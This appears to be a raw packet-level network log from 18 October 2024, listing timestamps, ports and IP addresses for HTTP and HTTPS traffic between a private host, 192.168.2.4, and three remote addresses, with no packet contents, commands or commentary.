Oct 18, 2024 15:04:55.599142075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599158049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599174023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599190950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599193096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599193096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599206924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599222898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599239111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599251986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599251986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599395037 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599632978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599647999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599663019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599678040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599709034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599761963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599805117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599822044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599836111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599852085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599868059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599877119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599884987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599900007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599915981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599930048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599934101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599934101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599946976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599961996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599977970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599991083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599991083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599992990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.600013018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.600076914 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.600076914 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.818581104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.818662882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.907133102 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:55.907705069 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:55.912379026 CEST	80	50043	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:55.912489891 CEST	80	50046	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:55.913849115 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:55.913872004 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:55.930393934 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:55.935214043 CEST	80	50046	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:56.042896032 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:56.043019056 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:56.043091059 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:56.043265104 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:56.043287039 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:56.282671928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.283564091 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.364907980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.369960070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.369985104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.370003939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.370074987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.397219896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403003931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403023958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403052092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403069019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403085947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403103113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403141975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403141975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403172970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403189898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403206110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403224945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403248072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403264999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403312922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403312922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403314114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403312922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403332949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403352022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403367043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403414965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403449059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403466940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403481007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403497934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403515100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403532982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403553009 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403558969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403584003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403588057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403608084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403633118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403753996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403773069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403789043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403805017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403822899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403867960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403867960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403867960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.403894901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403912067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403927088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403944016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.403983116 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404032946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404154062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404181004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404197931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404213905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404231071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404247999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404249907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404266119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404268026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404285908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404304981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404321909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404339075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404355049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404370070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404386044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404397964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404403925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404414892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404414892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404422998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404428959 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404473066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404666901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404685020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404701948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404717922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404719114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404745102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404766083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404781103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404797077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404825926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404833078 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404834032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404834032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404844046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404860020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404876947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404894114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404910088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404927969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404944897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404959917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404961109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404961109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.404978037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404994965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.404998064 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405013084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405023098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405030966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405045986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405071974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405086040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405100107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405116081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405118942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405118942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405118942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405133963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405150890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405158043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405168056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405184031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405200005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405201912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405220032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405236006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405261993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405261993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405594110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405611038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405627012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405642986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405659914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405677080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405680895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405680895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405698061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405702114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405719995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405735016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405749083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405761957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405777931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405781984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405800104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405816078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405833006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405849934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405865908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405872107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405872107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405884027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405888081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.405901909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405920029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405936956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405952930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.405968904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406018019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406033039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406043053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406043053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406049013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406066895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406084061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406088114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406100988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406117916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406132936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406150103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406166077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406172991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406172991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406189919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406418085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406435013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406461000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406476974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406492949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406510115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406526089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406544924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406575918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406575918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406575918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406575918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406618118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406636000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406653881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406670094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406687021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406707048 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406708002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406716108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406718016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406733990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406752110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406766891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406784058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406800985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406816006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406827927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406827927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406827927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406832933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406852961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406868935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406888008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406904936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406922102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406924963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406939030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406955004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406969070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406969070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.406972885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.406991959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407008886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407023907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407182932 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407429934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407448053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407464981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407480955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407491922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407499075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407507896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407516956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407532930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407550097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407566071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407596111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407620907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407629967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407636881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407654047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407671928 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407671928 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407680035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407681942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407700062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407716036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407732010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407749891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407766104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407783031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407799006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407804966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407804966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407804966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407816887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407833099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407834053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407855988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407871962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407887936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407905102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407922029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407938004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407938004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.407938957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407957077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407972097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.407991886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408015966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408379078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408396006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408427000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408443928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408469915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408473015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408473015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408488989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408504963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408521891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408539057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408540010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408556938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408572912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408590078 CEST	80	50042	185.215.113.103	192.168.2.4
